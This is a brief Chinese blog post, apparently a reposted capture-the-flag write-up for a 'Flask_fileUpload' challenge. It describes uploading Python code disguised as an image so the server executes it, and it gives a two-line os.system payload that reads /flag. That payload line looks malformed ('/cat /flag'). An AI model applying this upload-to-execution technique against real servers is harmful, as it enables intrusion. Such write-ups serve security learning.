• 微信公众号:美女很有趣。 工作之余,放松一下,关注即送10G+美女照片!

ctf之Flask_fileUpload

开发技术 开发技术 6小时前 5次浏览

启动环境,显示如图:

ctf之Flask_fileUpload

 

 直接f12产看源码信息:

ctf之Flask_fileUpload

 

 大致意思是:使用python编写文件然后以图片格式上传系统会以ipython格式解析,就可获取flag。

编写python代码:

import os
os.system('/cat /flag')

修改格式后上传,获得flag

ctf之Flask_fileUpload

 


程序员灯塔
转载请注明原文链接:ctf之Flask_fileUpload
喜欢 (0)